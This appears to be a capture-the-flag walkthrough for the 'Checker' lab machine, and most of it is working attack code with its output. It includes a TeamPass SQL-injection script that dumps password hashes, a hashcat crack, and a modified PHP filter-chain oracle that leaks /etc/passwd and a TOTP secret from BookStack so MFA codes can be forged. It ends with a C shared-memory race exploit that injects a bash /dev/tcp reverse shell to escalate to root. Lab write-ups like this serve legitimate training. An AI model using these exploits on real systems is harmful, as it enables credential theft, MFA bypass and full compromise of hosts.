$ rustscan --ulimit 10000 -a 10.129.122.143 -- -A -sC
 
Open 10.129.122.143:22
Open 10.129.122.143:80
Open 10.129.122.143:8080
 
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ=
|   256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp   open  http    syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden

teampass.sh

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi
 
vulnerable_url="$1/api/index.php/authorize"
 
if curl --silent "$vulnerable_url" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi
 
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
 
exec_sql() {
  local query="$1"
  local payload="{\"login\":\"none' UNION SELECT id, '$arbitrary_hash', ($query), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin\",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
 
  curl --silent -X POST -H "Content-Type: application/json" -d "$payload" "$vulnerable_url" |
    jq -r '.token' | cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key'
}
 
echo "[*] Retrieving user credentials..."
exec_sql "SELECT GROUP_CONCAT(login, ':', pw SEPARATOR ' | ') FROM teampass_users WHERE pw != ''" | tr '|' '\n'
  • Execute teampass.sh
$ ./teampass.sh http://checker.htb:8080/
 
[*] Retrieving user credentials...
 
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
  • Crack bob hash
$ hashcat -m 3200 -a 0 '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' .\rockyou.txt
 
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
  • bob : cheerleader
  • Teampass Login View Saved Passwords

Passwords

Bootstack bob@checker.htb : mYSeCr3T_w1kI_P4sSw0rD

SSH reader@checker.htb : hiccup-publicly-genesis

  • Cannot use SSH as it has MFA enabled
$ ssh reader@checker.htb
(reader@checker.htb) Password: hiccup-publicly-genesis
(reader@checker.htb) Verification code: fuuuuuuu
  • Login checker.htb/login SUCCESS

otpauth://totp/BookStack:bob%40checker.htb?secret=LU5AC77VRECY6E4P&issuer=BookStack&algorithm=SHA1&digits=6&period=30
  • Maybe we can forge MFA since secret is revealed
$ sudo apt install oathtool
$ oathtool --totp -b <SECRET>
858337

  • Might need at some point since MFA was enabled for SSH
$ curl -s http://checker.htb/login
*snip*
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="JSbfQEF4YwnUOVmedMYC78Uu"></script>

  • Testing in Burpsuite
PUT /ajax/page/<PAGE>/save-draft HTTP/1.1
Host: checker.htb
Content-Length: 162
X-CSRF-TOKEN: p6q968llyoZppWlnr3RtLoRpiJess9eTFnIf6pMr
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json
baseURL: http://checker.htb/
Accept: */*
Origin: http://checker.htb
Referer: http://checker.htb/books/asdf/page/new-page/edit
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6IjZFZThQaWZIcXJNRVJxL3lrNmhnZ2c9PSIsInZhbHVlIjoiM3R5WTNSN0l4dFM3aE84MFgwK2R3NjBibXcxUkcyQ0toZFNrbmcwYlJtTXBOT2VUZWYxa1Bia0ZwY1NqNTgya0tEeWZQRFBicjNFa0x4VDZERjE2ZHFCYjBDZFE2NGFucDlYM2VyaHpUM05OejJCL1FWSjFyS1c0STVOcGNkYTAiLCJtYWMiOiI3MjJkOTMyMzlhYzE4NGM2NjAxMTg3NzhlNDI4ZmI5YjUzZmU3MTExNTE2YzA3OWYyYTdmOGUzYjM4ZWM4YWE4IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Ijl5cXJud3Y1RDNSQWdESXBIbS9UaHc9PSIsInZhbHVlIjoiV25JcmZUWTVTT21ndFVuMldHSWtCWVZEOGpqRlVCM3M5Um5qY3lrOGI0YUF0dDMvQm05YWlCVWZ3bTdjcDA3NzdlTFV3cFlVOGo2N2Urdk5SSi9SbkRpbU82ZkNjdklvSEVkQnZQbTVEMU11QWZhZHArTTZwajhvWWdkeVY4Z0EiLCJtYWMiOiI4ZTY1OTFjNGIwOTkxYjViMmU5OWFmNzY3MWU1ZDM5NWEyZjY3ZGJjZTI4ZTE3NTM4Zjc5MGNhZGVjMDFkMWRiIiwidGFnIjoiIn0%3D
Connection: keep-alive
 
{
  "name": "New Page",
  "html": ""
}
  • SAVE DRAFT Edit AGAIN then SAVE PAGE (not draft) creates img on server containing cmd

$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-u2aqzr4g.png
 
http://10.10.14.00:6969/test
  • Ok lets use the more advanced PoC now that we know imgsrc works

USER

$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
$ cd php_filter_chains_oracle_exploit
$ python -m venv env
$ source env/bin/activate
$ pip install -r requirements.txt
  • Fix /filters_chain_oracle/core/requestor.py for our needs since base64 confirmed to work
import json
import requests
import time
import base64
import re
import logging
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
 
logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
 
class Requestor:
    def __init__(
        self,
        file_to_leak: str,
        target: str,
        parameter: str,
        data: str = "{}",
        headers: str = "{}",
        verb: Verb = Verb.POST,
        in_chain: str = "",
        proxy: str = None,
        time_based_attack: bool = False,
        delay: float = 0.0,
        json_input: bool = False,
        match: bool = False,
    ):
        self.file_to_leak = file_to_leak
        self.target = target
        self.parameter = parameter
        self.json_input = json_input
        self.match = match
        self.delay = delay
        self.data = json.loads(data)
        self.headers = json.loads(headers)
        self.verb = verb
 
        logging.info("Target URL: %s", self.target)
        logging.info("Local file to leak: %s", self.file_to_leak)
        logging.info("HTTP Verb: %s", self.verb.name)
        if data != "{}":
            logging.info("Additional data: %s", data)
        if headers != "{}":
            logging.info("Additional headers: %s", headers)
        if in_chain:
            logging.info("Appending chain: %s", in_chain)
            in_chain = f"|convert.iconv.{in_chain}"
        self.in_chain = in_chain
 
        if match:
            logging.info("Using match pattern: %s", match)
 
        if proxy:
            self.proxies = {"http": proxy, "https": proxy}
        else:
            self.proxies = None
 
        self.instantiate_session()
        if time_based_attack:
            self.time_based_attack = self.error_handling_duration()
            logging.info("Error handling duration: %s", self.time_based_attack)
        else:
            self.time_based_attack = False
 
    def instantiate_session(self) -> None:
        self.session = requests.Session()
        self.session.headers.update(self.headers)
        self.session.proxies = self.proxies
        self.session.verify = False
 
    @staticmethod
    def join(*args: str) -> str:
        return "|".join(args)
 
    def error_handling_duration(self) -> float:
        chain = "convert.base64-encode"
        normal_req = self.req_with_response(chain)
        self.normal_response_time = normal_req.elapsed.total_seconds()
 
        blow_up_utf32 = "convert.iconv.L1.UCS-4"
        repeated_chain = self.join(*([blow_up_utf32] * 15))
        chain_trigger = f"convert.base64-encode|{repeated_chain}"
        error_req = self.req_with_response(chain_trigger)
        return error_req.elapsed.total_seconds() - self.normal_response_time
 
    def parse_parameter(self, payload: str) -> dict:
        data = {}
        if "[" in self.parameter and "]" in self.parameter:
            main_param = self.parameter.split("[")[0]
            sub_params = re.findall(r"\[([^\]]+)\]", self.parameter)
            # Build a nested dictionary structure.
            nested = {main_param: {}}
            current = nested[main_param]
            for idx, key in enumerate(sub_params):
                if idx == len(sub_params) - 1:
                    current[key] = payload
                else:
                    current[key] = {}
                    current = current[key]
            data = nested
        else:
            data[self.parameter] = payload
 
        return merge_dicts(data, self.data)
 
    def build_payload(self, filter_chain: str) -> str:
        encoded_str = base64.b64encode(filter_chain.encode("utf-8")).decode("utf-8")
        return f""
 
    def req_with_response(self, s: str) -> requests.Response:
        if self.delay > 0:
            time.sleep(self.delay)
 
        filter_chain = f"php://filter/{s}{self.in_chain}/resource={self.file_to_leak}"
        payload = self.build_payload(filter_chain)
        merged_data = self.parse_parameter(payload)
 
        try:
            if self.verb == Verb.GET:
                response = self.session.get(self.target, params=merged_data)
            elif self.verb == Verb.PUT:
                if self.json_input:
                    response = self.session.put(self.target, json=merged_data)
                else:
                    response = self.session.put(self.target, data=merged_data)
            elif self.verb == Verb.DELETE:
                if self.json_input:
                    response = self.session.delete(self.target, json=merged_data)
                else:
                    response = self.session.delete(self.target, data=merged_data)
            elif self.verb == Verb.POST:
                if self.json_input:
                    response = self.session.post(self.target, json=merged_data)
                else:
                    response = self.session.post(self.target, data=merged_data)
            else:
                raise ValueError(f"Unsupported HTTP verb: {self.verb}")
            return response
        except requests.exceptions.ConnectionError:
            logging.error("Could not establish a connection to %s", self.target)
            exit(1)
 
    def error_oracle(self, s: str) -> bool:
        response = self.req_with_response(s)
 
        if self.match:
            return self.match in response.text
 
        if self.time_based_attack:
            threshold = (self.time_based_attack / 2) + 0.01
            return response.elapsed.total_seconds() > threshold
 
        return response.status_code == 500
  • Execute to leak file contents with your creds from Burp (timing attack so takes awhile)
$ cd ../
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE>/save-draft' --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080
 
[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft
[INFO] Local file to leak: /etc/passwd
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}
[*] File leak gracefully stopped.
[+] File /etc/passwd was partially leaked
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9z
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/
*snip*'
  • Remember MFA and Backup clues /backup/home_backup/home/reader/.google_authenticator TOTP secret
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE#>/save-draft' --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080
 
[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft
[INFO] Local file to leak: /backup/home_backup/home/reader/.google_authenticator
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
  • Can now forge TOTP Code to validate SSH as reader
$ oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUE
050332
 
$ ssh reader@checker.htb
(reader@checker.htb) Password: 'hiccup-publicly-genesis'
(reader@checker.htb) Verification code: 050332
 
reader@checker:~$ ls -la
total 36
drwxr-x--- 4 reader reader 4096 Feb  6 04:22 .
drwxr-xr-x 3 root   root   4096 Jun 12  2024 ..
lrwxrwxrwx 1 root   root      9 Feb  6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan  6  2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15  2024 .cache
-r-------- 1 reader reader   39 Jun 14  2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15  2024 .local
-rw-r--r-- 1 reader reader  807 Jan  6  2022 .profile
-rw-r----- 1 root   reader   33 Feb 24 02:48 user.txt

Root

reader@checker:~$ sudo -l
User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
 
reader@checker:~$ cat /opt/hash-checker/check-leak.sh
 
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
 
reader@checker:~$ ls -la /opt
total 20
drwxr-xr-x  5 root     root     4096 Jan 30 17:04 .
drwxr-xr-x 21 root     root     4096 Feb  6 04:22 ..
drwxr-xr-x 15 www-data root     4096 Feb  6 04:22 BookStack
drwxr-x--- 13 www-data www-data 4096 Jun 13  2024 TeamPass
drwxr-xr-x  2 root     root     4096 Jan 30 17:09 hash-checker
 
reader@checker:~$ ls -la /opt/hash-checker/
total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 .
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ..
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt
 
reader@checker:~$ file /opt/hash-checker/check_leak
check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped
 
reader@checker:$ cd /tmp
  • Reversing check_leak shared memory (SHM) 0666 perms = global R/W Race Condition to inject cmd as sudo
  • Race Condition - Abuse shared memory to overwrite known string and execute unintended code instead
  • Ready listener Create/Compile/Execute
reader@checker:/tmp$ nano pwner.c
reader@checker:/tmp$ gcc -o pwner pwner.c -Wall
reader@checker:/tmp$ ./pwner

pwner.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
 
// From check_leak binary
#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 (world-writable)
 
const char * payload = "Leaked hash detected > '; /bin/bash -c \"bash -i >& /dev/tcp/<IP>/<PORT> 0>&1\";#";
 
void inject_payload() {
  key_t key = rand() % 0xfffff;
  int shmid = shmget(key, SHM_SIZE, SHM_MODE);
  if (shmid == -1) {
    perror("shmget failed");
    exit(EXIT_FAILURE);
  }
 
  char * shmaddr = (char * ) shmat(shmid, NULL, 0);
  if (shmaddr == (char * ) - 1) {
    perror("shmat failed");
    exit(EXIT_FAILURE);
  }
 
  printf("\n[+] Injecting payload...\n");
  snprintf(shmaddr, SHM_SIZE, "%s", payload);
  shmdt(shmaddr);
}
 
pid_t find_target_pid() {
  FILE * fp;
  char path[128];
  pid_t pid = -1;
 
  fp = popen("pgrep -f '/opt/hash-checker/check-leak.sh'", "r");
  if (fp == NULL) {
    return -1;
  }
 
  if (fgets(path, sizeof(path), fp) != NULL) {
    pid = atoi(path);
  }
 
  pclose(fp);
  return pid;
}
 
void race_exploit() {
  pid_t target_pid = find_target_pid();
  if (target_pid > 0) {
    printf("\n[+] Found process: %d\n", target_pid);
 
    if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == 0) {
      waitpid(target_pid, NULL, 0);
      inject_payload();
      ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
    }
  } else {
    printf("\n[-] No target process found. Exiting.\n");
  }
}
 
int main() {
  srand(time(NULL));
  printf("\n[+] Starting race exploit...\n");
 
  if (fork() == 0) {
    system("sudo /opt/hash-checker/check-leak.sh bob");
    exit(0);
  }
 
  usleep(40000);
 
  race_exploit();
 
  return 0;
}
  • Listener
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.00.00] from (UNKNOWN) [10.129.00.00] 54840
 
root@checker:/tmp# ls -la /root
total 36
drwx------  6 root root 4096 Feb 28 16:28 .
drwxr-xr-x 21 root root 4096 Feb  6 04:22 ..
lrwxrwxrwx  1 root root    9 Feb  6 04:07 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  5 root root 4096 Feb  6 04:22 .cache
drwxr-xr-x  5 root root 4096 Feb  6 04:22 .config
drwxr-xr-x  3 root root 4096 Feb  6 04:22 .local
lrwxrwxrwx  1 root root    9 Feb  6 04:07 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Feb  6 04:22 .ssh
-rw-r-----  1 root root   33 Feb 28 16:28 root.txt